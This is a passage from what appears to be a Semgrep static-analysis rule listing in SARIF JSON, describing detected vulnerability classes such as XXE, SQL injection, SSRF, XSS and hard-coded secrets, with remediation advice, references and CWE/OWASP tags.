An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","id":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","name":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","id":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","name":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response","id":"scala.play.security.tainted-html-response.tainted-html-response","name":"scala.play.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","id":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","name":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"help":{"markdown":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n","text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode","id":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","name":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_ecb_mode.use_ecb_mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write","id":"java.micronaut.xss.direct-response-write.direct-response-write","name":"java.micronaut.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","id":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","name":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","id":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","name":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","id":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","name":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"help":{"markdown":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver","id":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","name":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.keyedarchiver.swift-keyedarchiver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","id":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","name":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","id":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","name":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM 